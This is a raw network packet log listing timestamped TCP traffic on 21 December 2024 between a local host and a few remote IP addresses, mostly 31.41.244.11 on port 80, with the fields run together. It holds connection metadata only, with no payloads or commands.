                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.422705889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.422749043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.422796965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.469450951 CET8049859212.193.31.8192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.501765013 CET49852443192.168.2.4172.217.17.46
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.501789093 CET44349852172.217.17.46192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.502146959 CET44349852172.217.17.46192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.502284050 CET49852443192.168.2.4172.217.17.46
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.503849983 CET49852443192.168.2.4172.217.17.46
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.534841061 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.534895897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.534954071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.535463095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.535522938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.535557032 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.535609961 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.536669970 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.536688089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.536724091 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.536753893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.537744045 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.537976980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.551340103 CET44349852172.217.17.46192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.559484005 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.559500933 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.559535980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.559568882 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.559983969 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.560000896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.560036898 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.560067892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.561048031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.561108112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.561165094 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.561212063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.562216043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.562267065 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.562338114 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.562479019 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.563374043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.563422918 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.563481092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.563569069 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.564580917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.564637899 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.564913988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.565186977 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.566358089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.566406965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.566453934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.566503048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.566853046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.566901922 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.566916943 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.566966057 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.568068027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.568114042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.568136930 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.568186998 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.569173098 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.569217920 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.569272995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.569320917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.570457935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.570472956 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.570525885 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.571384907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.571434975 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.571513891 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.571562052 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.572619915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.572669983 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.572699070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.572748899 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.573761940 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.573971033 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.574023962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.574860096 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.574908972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.574955940 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.575009108 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.576044083 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.576092005 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.576112986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.576159954 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.577178001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.577234030 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.577394962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.577445984 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.578306913 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.578473091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.578525066 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.579519033 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.579535961 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.579571962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.579605103 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.580699921 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.580749035 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.580799103 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.580976009 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.581873894 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.581891060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.581923008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.581954002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.582966089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.582992077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.583039999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.584043980 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.584095955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.584172010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.584249973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.585226059 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.585279942 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.585319996 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.585375071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.586405993 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.586448908 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.586460114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.586493015 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.587483883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.587533951 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.587656975 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.587708950 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.588640928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.588705063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.588778973 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.588839054 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.590230942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.590415955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.590439081 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.590486050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.591181993 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.591242075 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.591245890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.591294050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.592108011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.592164040 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.592225075 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.592330933 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.593255043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.593307972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.593346119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.593496084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.594408989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.594464064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.594501019 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.594624043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.595561028 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.595606089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.595647097 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.595647097 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.596688986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.596735954 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.596934080 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.596978903 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.597860098 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.597909927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.597954988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.599095106 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.599296093 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.599325895 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.599409103 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.600308895 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.600354910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.600367069 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.600397110 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.601502895 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.601553917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.601553917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.601604939 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.602504015 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.602550030 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.602560997 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.602588892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.603627920 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.603677988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.603751898 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.603801012 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.604912043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.604938030 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.604967117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.604998112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.606287956 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.606336117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.606467009 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.606525898 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.607372046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.607425928 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.607547045 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.607633114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.608450890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.608500004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.608691931 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.608846903 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.609683037 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.609743118 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.609831095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.609889030 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.610584974 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.610621929 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.610635042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.610662937 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.611660957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.611676931 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.611726046 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.611754894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.612775087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.612816095 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.612869978 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.614039898 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.614057064 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.614115953 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.615210056 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.615272045 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.615350008 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.615400076 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.727204084 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.727261066 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.727396011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.727451086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.727811098 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.727865934 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.727917910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.727972031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.728921890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.729053020 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.729070902 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.729093075 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.730032921 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.730087042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.751586914 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.751646042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.751688004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.751806021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.752150059 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.752202988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.752279043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.752353907 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.753206968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.753261089 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.753336906 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.753381968 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.754456043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.754512072 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.754542112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.754585028 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.755613089 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.755669117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.755809069 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.755851984 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.756669044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.756715059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.756792068 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.756835938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.757812023 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.757863998 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.757904053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.757949114 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.758954048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.759010077 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.759041071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.759083033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:45.760247946 CET804985031.41.244.11192.168.2.4
